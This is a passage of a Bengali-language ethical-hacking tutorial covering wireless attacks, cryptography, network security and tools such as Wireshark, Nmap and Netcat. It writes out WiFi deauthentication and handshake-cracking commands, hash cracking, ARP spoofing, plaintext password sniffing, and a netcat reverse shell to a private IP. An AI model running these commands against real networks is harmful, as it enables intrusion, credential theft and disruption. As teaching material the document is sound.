- **WPA2-Enterprise:** RADIUS Server দিয়ে আলাদা authentication। অফিস নেটওয়ার্কে।

দুর্বলতা: PMKID ও 4-Way Handshake ক্যাপচার করে offline brute force।

WPA3 — সর্বশেষ ও সবচেয়ে নিরাপদ

SAE (Simultaneous Authentication of Equals) ব্যবহার করে। Dictionary Attack প্রতিরোধ করে।

ওয়্যারলেস অ্যাটাক

১. Evil Twin Attack

```
আসল AP: "HomeWiFi" (BSSID: AA:BB:CC)
হ্যাকারের AP: "HomeWiFi" (জোরালো সিগন্যাল দিয়ে)

ব্যবহারকারীর ডিভাইস হ্যাকারের AP-তে connect করে
→ সব ট্র্যাফিক হ্যাকারের মধ্য দিয়ে যায়
→ Captive portal দেখিয়ে পাসওয়ার্ড চুরি
```

২. Deauthentication Attack

802.11 Management Frame-এ authentication নেই। হ্যাকার Deauth Frame পাঠিয়ে সব ডিভাইস disconnect করতে পারে। এরপর WPA Handshake ক্যাপচার করা যায়।

```
airmon-ng start wlan0 # Monitor mode চালু airodump-ng wlan0mon # নেটওয়ার্ক স্ক্যান
aireplay-ng --deauth 100 -a [BSSID] wlan0mon # Deauth Attack
```

৩. WPA Handshake Capture ও Crack

```
# Handshake ক্যাপচার airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon # Crack করা (Dictionary Attack) aircrack-ng -w rockyou.txt capture.cap hashcat -m 22000 capture.hc22000 rockyou.txt
```

✅ ওয়্যারলেস সিকিউরিটি টিপস

- WPA3 ব্যবহার করুন বা WPA2 AES
- দীর্ঘ ও জটিল WiFi পাসওয়ার্ড ব্যবহার করুন (২০+ অক্ষর)
- SSID Broadcast বন্ধ করুন (কিছুটা সুরক্ষা দেয়)
- MAC Filtering চালু করুন (100% নিরাপদ নয়, কিন্তু অতিরিক্ত স্তর)
- Guest Network আলাদা রাখুন
- WiFi Analyzer দিয়ে নিয়মিত পার্শ্ববর্তী নেটওয়ার্ক মনিটর করুন

CHAPTER 08

🔐 ক্রিপ্টোগ্রাফি

ক্রিপ্টোগ্রাফি কী?

ক্রিপ্টোগ্রাফি হলো তথ্য এনক্রিপ্ট করে অননুমোদিত অ্যাক্সেস থেকে রক্ষা করার বিজ্ঞান। Confidentiality, Integrity, Authentication — তিনটিই নিশ্চিত করে।

Symmetric Encryption (প্রতিসম এনক্রিপশন)

একই Key দিয়ে Encrypt ও Decrypt করা হয়।

```
Sender                              Receiver
    |                                   |
    | Plain: "Hello"                    |
    | Key: "SecretKey123"               |
    |                                   |
    | Encrypt → "X7$mK9#"  ──────────→ |
|                                 | Decrypt (same key)
    |                                   | → "Hello"

সমস্যা: Key কীভাবে নিরাপদে পাঠাবে?
```

অ্যালগরিদম	Key Size	ব্লক Size	স্ট্যাটাস	ব্যবহার
DES	56-bit	64-bit	❌ ভাঙা (ব্যবহার করবেন না)	পুরনো সিস্টেম
3DES	168-bit	64-bit	⚠️ দুর্বল হচ্ছে	Legacy
AES-128	128-bit	128-bit	✅ নিরাপদ	WPA2, TLS

অ্যালগরিদম	Key Size	ব্লক Size	স্ট্যাটাস	ব্যবহার
AES-256	256-bit	128-bit	✅ সর্বোচ্চ নিরাপদ	Military, HTTPS
ChaCha20	256-bit	Stream	✅ নিরাপদ	TLS 1.3, Mobile

Asymmetric Encryption (অপ্রতিসম এনক্রিপশন)

দুটি Key — Public Key (সবাইকে দেওয়া যায়) ও Private Key (শুধু নিজের কাছে)।

```
        Sender                                  Receiver
          |                                        |
| Receiver-এর Public Key দিয়ে        | নিজের Private Key দিয়ে
  | Encrypt → "X7$mK9#"  ──────────→ | Decrypt → "Hello"
          |                                        |

        Digital Signature (বিপরীত):
     Sender নিজের Private Key দিয়ে Sign করে
   Receiver Sender-এর Public Key দিয়ে Verify করে
```

অ্যালগরিদম	Key Size	স্ট্যাটাস	ব্যবহার
RSA-2048	2048-bit	✅ ঠিক আছে	SSL/TLS, SSH, Email
RSA-4096	4096-bit	✅ ভালো	High security
ECC (P-256)	256-bit	✅ সর্বোচ্চ ভালো	TLS 1.3, মোবাইল
Ed25519	256-bit	✅ সর্বোচ্চ	SSH Key, Modern TLS
DSA	1024-bit	⚠️ দুর্বল	Legacy

Hashing — একমুখী ফাংশন

Hash এমন একটি ফাংশন যা যেকোনো ডেটা থেকে নির্দিষ্ট দৈর্ঘ্যের একটি মান তৈরি করে। Hash থেকে মূল ডেটা বের করা অসম্ভব।

```
echo -n "Hello" | md5sum # 8b1a9953c4611296a827abf8c47804d7 echo -n "Hello" | sha256sum # 185f8db32921... (256-bit) echo -n "Hello" | sha512sum # 3615f80c9d29... (512-bit) # Hash Cracking hashcat -m 0 hash.txt rockyou.txt # MD5 crack hashcat -m 1000 hash.txt wordlist.txt # NTLM crack (Windows) john --wordlist=rockyou.txt hash.txt # John the Ripper
```

অ্যালগরিদম	Output	স্ট্যাটাস	ব্যবহার
MD5	128-bit	❌ ভাঙা! Collision সম্ভব	পুরনো, ব্যবহার করবেন না
SHA-1	160-bit	❌ ভাঙা	পুরনো SSL-এ ছিল
SHA-256	256-bit	✅ নিরাপদ	Bitcoin, TLS, Password
SHA-512	512-bit	✅ ভালো	High security
bcrypt	Variable	✅ পাসওয়ার্ডের জন্য সেরা	Password hashing
Argon2	Variable	✅ সর্বোচ্চ সেরা	Modern password hashing

TLS/SSL — HTTPS-এর ভিত্তি

```
                    TLS Handshake (সরলীকৃত):
            Client                          Server
               |                               |
               |── ClientHello (TLS version, ──→|
               |   supported ciphers)          |
               |                               |
               |←── ServerHello + Certificate ──|
               |    (Server-এর Public Key সহ)  |
               |                               |
      |── Pre-Master Secret ──────────→| (Server-এর Public Key দিয়ে encrypt)
                  |   (র‍্যান্ডম নম্বর)           |
               |                               |
               |   উভয়পক্ষ Session Key তৈরি করে|
               |                               |
         |═══ Encrypted Data ═══════════| (Symmetric AES দিয়ে)
```

ভার্সন	স্ট্যাটাস	সমস্যা
SSL 2.0	❌ বন্ধ করুন	অনেক দুর্বলতা
SSL 3.0	❌ বন্ধ করুন	POODLE Attack
TLS 1.0	❌ বন্ধ করুন	BEAST, POODLE
TLS 1.1	⚠️ দুর্বল	RC4 সমস্যা
TLS 1.2	✅ ঠিক আছে	সঠিক cipher suite দরকার
TLS 1.3	✅ সর্বোচ্চ	দ্রুত ও সবচেয়ে নিরাপদ

PKI ও SSL Certificate

PKI (Public Key Infrastructure) হলো Certificate ব্যবস্থাপনার একটি সিস্টেম।

- **Certificate Authority (CA):** DigiCert, Let's Encrypt — Certificate ইস্যু করে
- **DV Certificate:** শুধু Domain verify করে (সবচেয়ে সহজ)
- **OV Certificate:** Organization verify করে
- **EV Certificate:** সম্পূর্ণ যাচাই, ব্রাউজারে সবুজ রঙে company নাম দেখায়
- **Wildcard Certificate:** *.example.com — সব subdomain কভার করে

> `# SSL Certificate চেক করা openssl s_client -connect google.com:443 sslyze --regular target.com # SSL দুর্বলতা স্ক্যান testssl.sh target.com # বিস্তারিত SSL অ্যানালাইসিস`

CHAPTER 09

🛡️ নেটওয়ার্ক সিকিউরিটি কনসেপ্ট

VPN (Virtual Private Network)

VPN এনক্রিপ্টেড টানেল তৈরি করে Public Internet-এর মধ্য দিয়ে নিরাপদে ডেটা পাঠায়।

```
তোমার PC ──→ [Encrypted Tunnel] ──→ VPN Server ──→ Internet
                                  (ISP দেখতে পায় না)

Site-to-Site VPN:
Office A ──→ [VPN Tunnel] ──→ Office B
(দুটো অফিস একটি নেটওয়ার্কের মতো কাজ করে)
```

VPN Protocol	পোর্ট	গতি	নিরাপত্তা	ব্যবহার
OpenVPN	1194/UDP	ভালো	✅ উচ্চ	সবচেয়ে জনপ্রিয় Open Source
WireGuard	51820/UDP	সর্বোচ্চ	✅ উচ্চ	আধুনিক, দ্রুততম
IPsec/IKEv2	500/UDP	ভালো	✅ উচ্চ	Mobile VPN
L2TP/IPsec	1701/UDP	মাঝারি	✅ ঠিক আছে	Enterprise
PPTP	1723/TCP	দ্রুত	❌ দুর্বল	ব্যবহার করবেন না!

Zero Trust সিকিউরিটি মডেল

"Never Trust, Always Verify" — এই নীতিতে কেউই স্বয়ংক্রিয়ভাবে বিশ্বাসযোগ্য নয়, ভেতরে থাকলেও।

পুরনো মডেল (Perimeter Security)

- Firewall-এর ভেতরে থাকলে বিশ্বাস করো
- বাইরেরটা block করো
- ভেতরে ঢুকলেই সব অ্যাক্সেস

❌ সমস্যা: একজন insider বা হ্যাকড অ্যাকাউন্ট সব কিছু নষ্ট করতে পারে

Zero Trust মডেল

- প্রতিটি request verify করো
- Least privilege দাও
- সব কিছু log করো
- Microsegmentation ব্যবহার করো

✅ সুবিধা: ভেতরে ঢুকলেও সীমিত ক্ষতি করতে পারে

সাধারণ নেটওয়ার্ক অ্যাটাক

১. Man-in-the-Middle (MITM) Attack

```
স্বাভাবিক:  Client ──────────────── Server
MITM:       Client ── Hacker ──────── Server
            (Hacker মাঝখানে ট্র্যাফিক দেখে ও পরিবর্তন করে)

পদ্ধতি:
- ARP Spoofing → LAN-এ MITM
- Evil Twin → WiFi-এ MITM
- SSL Stripping → HTTPS কে HTTP-তে নামায়
- DNS Spoofing → ভুল সার্ভারে নিয়ে যায়
```

২. DDoS (Distributed Denial of Service)

ধরন	পদ্ধতি	উদাহরণ
Volumetric	ব্যান্ডউইথ ভরিয়ে দেওয়া	UDP Flood, ICMP Flood
Protocol	সার্ভার রিসোর্স শেষ করা	SYN Flood, Ping of Death
Application	Layer 7-এ অ্যাটাক	HTTP Flood, Slowloris
Amplification	ছোট request → বড় response	DNS Amplification, NTP Amplification

৩. Port Scanning

```
# Nmap - সবচেয়ে জনপ্রিয় পোর্ট স্ক্যানার nmap -sV 192.168.1.1 # Service version detect nmap -sS target.com # SYN Stealth Scan nmap -p- target.com # সব পোর্ট স্ক্যান nmap -A -T4 target.com # Aggressive Scan nmap -sU target.com # UDP Scan nmap --script vuln target.com # Vulnerability Scan
```

৪. ARP Spoofing — MITM-এর ভিত্তি

```
# Kali Linux-এ ARP Spoofing arpspoof -i eth0 -t [victim_ip] [gateway_ip] arpspoof -i eth0 -t [gateway_ip] [victim_ip] # IP Forwarding চালু করো echo 1 > /proc/sys/net/ipv4/ip_forward # অথবা ettercap দিয়ে ettercap -T -q -i eth0 -M arp:remote /[victim]// /[gateway]//
```

Firewall Rule বোঝা

```
# iptables (Linux Firewall) iptables -L -n -v # Current rules দেখা iptables -A INPUT -p tcp --dport 22 -j ACCEPT # SSH allow iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP allow iptables -A INPUT -j DROP # বাকি সব block # UFW (Ubuntu) ufw enable ufw allow ssh ufw allow 80/tcp ufw deny from 192.168.1.100 # নির্দিষ্ট IP block
```

নেটওয়ার্ক সিকিউরিটি Architecture

```
Internet
    |
[Firewall - Edge]
    |
[DMZ Zone]
├── Web Server
├── Mail Server
└── DNS Server
    |
[Internal Firewall]
```

```
                    |
          [Internal Network]
    ├── [HR Subnet - 10.10.1.0/24]
  ├── [Finance Subnet - 10.10.2.0/24]
    ├── [IT Subnet - 10.10.3.0/24]
  └── [Database Subnet - 10.10.4.0/24]

       DMZ = DeMilitarized Zone
    (Internet থেকে access পায় কিন্তু
    Internal Network থেকে আলাদা)
```

CHAPTER 10

🔬 নেটওয়ার্ক অ্যানালাইসিস টুল

Wireshark — প্যাকেট অ্যানালাইজার

Wireshark হলো সবচেয়ে জনপ্রিয় নেটওয়ার্ক প্রোটোকল অ্যানালাইজার। নেটওয়ার্ক ট্র্যাফিক ক্যাপচার করে বিশ্লেষণ করা যায়।

গুরুত্বপূর্ণ Wireshark Filter

```
# Wireshark Display Filter ip.addr == 192.168.1.1 # নির্দিষ্ট IP-এর সব ট্র্যাফিক tcp.port == 80 # HTTP ট্র্যাফিক http.request # শুধু HTTP Request http.response.code == 200 # সফল HTTP Response dns # সব DNS ট্র্যাফিক tcp.flags.syn == 1 # SYN Packet (Port scan দেখা) ftp # FTP ট্র্যাফিক (পাসওয়ার্ড দেখা যাবে!) http contains "password" # HTTP-তে পাসওয়ার্ড খোঁজা !(arp or dns or icmp) # নয়েজ ফিল্টার করা
```

tcpdump — Command Line প্যাকেট ক্যাপচার

```
tcpdump -i eth0 # eth0-এ ট্র্যাফিক ক্যাপচার tcpdump -i eth0 -w capture.pcap # ফাইলে সেভ tcpdump -r capture.pcap # ফাইল পড়া tcpdump host 192.168.1.100 # নির্দিষ্ট Host tcpdump port 80 # HTTP ট্র্যাফিক tcpdump -i eth0 'tcp[13] == 2' # SYN Packet tcpdump -A -i eth0 port 21 # FTP পাসওয়ার্ড দেখা (Plaintext)
```

Nmap — নেটওয়ার্ক ম্যাপার

```
# বেসিক স্ক্যান nmap 192.168.1.1 # একটি Host স্ক্যান nmap 192.168.1.0/24 # পুরো সাবনেট স্ক্যান nmap -p 22,80,443 target.com # নির্দিষ্ট পোর্ট nmap -p- target.com # সব ৬৫৫৩৫ পোর্ট # উন্নত স্ক্যান nmap -sV target.com # Service Version nmap -O target.com # OS Detection nmap -A target.com # সব একসাথে nmap -sS target.com # Stealth SYN Scan nmap -sU target.com # UDP Scan nmap -sn
```

```
192.168.1.0/24 # Host Discovery (Ping Sweep) # NSE Script nmap --script=http-title target.com nmap --script=smb-vuln-ms17-010 target.com # EternalBlue চেক nmap --script=vuln target.com # সাধারণ Vulnerability nmap --script=default target.com
```

Netcat — সুইস আর্মি নাইফ

```
# Port Listener nc -lvp 4444 # পোর্ট 4444-এ listen # Connect nc 192.168.1.1 80 # পোর্ট 80-এ connect # Reverse Shell nc -e /bin/bash 192.168.1.10 4444 # Victim-এ চালাও # Port Scanning nc -zv target.com 1-1000 # পোর্ট স্ক্যান # File Transfer nc -lvp 4444 > received_file # Receiver nc 192.168.1.1 4444 < file.txt # Sender
```

অন্যান্য গুরুত্বপূর্ণ টুল

টুল	কাজ	কমান্ড উদাহরণ
ping	Host জীবিত আছে কিনা	ping google.com
traceroute	প্যাকেটের পথ দেখা	traceroute google.com
netstat	সক্রিয় সংযোগ দেখা	netstat -tulnp
ss	Socket Statistics	ss -tulnp
arp	ARP Table দেখা	arp -a
route	Routing Table দেখা	route -n
ifconfig/ip	নেটওয়ার্ক Interface	ip addr show
whois	Domain তথ্য	whois google.com
curl	HTTP Request করা	curl -I https://target.com
masscan	দ্রুত পোর্ট স্ক্যান	masscan -p1-65535 target

প্যাকেট অ্যানালাইসিস — হ্যান্ডস-অন

HTTP Login ক্যাপচার করা (শিক্ষামূলক)

```
# HTTP (Plaintext) Login ক্যাপচার tcpdump -i eth0 -A port 80 | grep -i "password\|user\|login" # Wireshark Filter: http.request.method == "POST" # তারপর Follow TCP Stream করলে Form Data দেখা যাবে # এই কারণেই HTTPS বাধ্যতামূলক!
```

SYN Scan কীভাবে Wireshark-এ দেখায়

```
Port Open:    SYN → SYN-ACK → RST   (পোর্ট খোলা)
Port Closed:  SYN → RST             (পোর্ট বন্ধ)
Filtered:     SYN → (কোনো response নেই)  (Firewall আছে)
```

📋 সারসংক্ষেপ — সাইবার সিকিউরিটির জন্য নেটওয়ার্কিং চেকলিস্ট

- ✅ OSI ও TCP/IP মডেলের প্রতিটি লেয়ার এবং সেখানে হওয়া অ্যাটাক বোঝো
- ✅ IP Addressing, Subnetting ও CIDR notation আয়ত্ত করো
- ✅ TCP Three-Way Handshake ও UDP পার্থক্য ভালোভাবে বোঝো
- ✅ গুরুত্বপূর্ণ পোর্ট নম্বর মুখস্থ করো (22, 80, 443, 445, 3389...)
- ✅ DNS কীভাবে কাজ করে ও DNS অ্যাটাক বোঝো
- ✅ ক্রিপ্টোগ্রাফি — Symmetric, Asymmetric, Hashing, TLS জানো
- ✅ Wireshark দিয়ে প্যাকেট পড়তে পারো
- ✅ Nmap দিয়ে নেটওয়ার্ক স্ক্যান করতে পারো
- ✅ ওয়্যারলেস সিকিউরিটি ও WPA2 crack বুঝতে পারো
- ✅ Firewall Rules বুঝতে ও লিখতে পারো

NEXT STEPS

🚀 পরবর্তী পদক্ষেপ

প্র্যাকটিস করার জায়গা

প্ল্যাটফর্ম	কী শিখবে	খরচ
TryHackMe	Networking, Linux, Web Hacking	আংশিক ফ্রি
HackTheBox	Real-world machine hacking	আংশিক ফ্রি
PortSwigger Web Academy	Web application security	সম্পূর্ণ ফ্রি
Cisco Packet Tracer	নেটওয়ার্ক সিমুলেশন	ফ্রি
GNS3	উন্নত নেটওয়ার্ক সিমুলেশন	ফ্রি
VulnHub	VM-based CTF	সম্পূর্ণ ফ্রি

সার্টিফিকেশন রোডম্যাপ

```
Beginner:
CompTIA Network+ → CompTIA Security+
↓
Intermediate:
CEH (Certified Ethical Hacker)
eJPT (eLearnSecurity Junior Penetration Tester)
↓
Advanced:
OSCP (Offensive Security Certified Professional) — সেরা!
PNPT (Practical Network Penetration Tester)
↓
```

```
Expert:
OSCE3, CRTE, CRTO (Red Team Operations)
```

💡 শেষ কথা

নেটওয়ার্কিং শেখা একদিনে হয় না। Kali Linux-এ বিভিন্ন টুল নিয়ে নিজে পরীক্ষা করো, TryHackMe-তে Lab করো, এবং সবচেয়ে গুরুত্বপূর্ণ — সব সময় ethical উপায়ে শেখো। তোমার কাছে ইতোমধ্যে VirtualBox ও Kali Linux আছে — এটাই যথেষ্ট শুরু করার জন্য!

এই ডকুমেন্টটি সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে তৈরি।

Ethical Hacking শুধুমাত্র অনুমতিপ্রাপ্ত পরিবেশে প্র্যাকটিস করুন।

🛡️ Stay Ethical. Stay Legal. Stay Curious.